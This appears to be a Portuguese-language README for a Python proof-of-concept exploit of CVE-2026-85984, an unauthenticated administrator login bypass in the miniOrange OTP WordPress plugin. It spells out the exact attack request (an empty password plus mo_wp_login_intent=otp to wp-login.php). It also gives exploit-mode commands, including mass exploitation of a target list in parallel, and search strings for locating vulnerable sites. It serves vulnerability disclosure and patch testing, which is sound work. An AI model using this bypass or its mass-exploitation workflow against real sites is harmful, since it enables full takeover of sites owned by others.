murrez/cve-2026-85984PoC em Python para CVE-2026-85984: verifica e explora o bypass de autenticação de administrador do WordPress não autenticado no plugin miniOrange OTP (≤5.5.5), com verificação de versão e enumeração de usuários.
PoC em Python 3 para CVE-2026-85984 — miniOrange OTP Login, Verification and SMS Notifications ≤ 5.5.5.
CVE-2026-85984 — Bypass de autenticação não autenticado (CWE-287) via parâmetro POST mo_wp_login_intent=otp com senha vazia. No ramo skip_pass_fallback de mo_by_pass_login(), o plugin ignora wp_authenticate_username_password(), resolve o usuário apenas pelo nome de usuário e trata o papel de administrador como suficiente quando as opções de Admin OTP Bypass estão habilitadas.
Ataque: wp-login.php com log=<admin_user>, pwd= (vazio), mo_wp_login_intent=otp.
Condições (todas devem estar habilitadas pelo administrador do site):
CVSS 3.1: 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Correção: 5.5.6+ (Wordfence CNA, descobridor Supakiad S. / m3ez).
Página do PoC: https://pocbit.org/pocs/cve-2026-85984
Catálogo: https://pocbit.org/pocs/
| Slug do plugin | miniorange-otp-verification |
| Afetado | ≤ 5.5.5 |
| Corrigido | 5.5.6+ |
| Vetor | wp-login.php + mo_wp_login_intent=otp |
| Impacto | Sessão de administrador (comprometimento total do site) |
O PoC inclui banner de CLI colorido, verificação de plugin/versão, enumeração opcional de usuários (REST/author), tentativa de bypass com --mode exploit, JSONL em massa com pocbit / pocbit_catalog / pocbit_page.
pip install -r requirements.txt
python poc.py -u https://wordpress.example --mode check
python poc.py -u https://wordpress.example --mode check --probe-login
python poc.py -u https://wordpress.example --mode exploit --username admin
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py -u https://wordpress.example --mode exploit --no-color
body="/wp-content/plugins/miniorange-otp-verification"
body="mo_wp_login_intent"
PoC do CVE-2026-85984: miniOrange OTP para WordPress ≤5.5.5 bypass de admin não autenticado via mo_wp_login_intent=otp + senha vazia. Modos check/exploit, CLI colorido. PoCbit
CVE-2026-85984: No plugin miniOrange OTP, senha vazia + mo_wp_login_intent=otp resulta em sessão de administrador (requer configurações de OTP incorretas). Correção 5.5.6. PoC: interface colorida + modo exploit.
Apenas para testes autorizados. Não use em sistemas que você não possui ou para os quais não tem permissão de teste.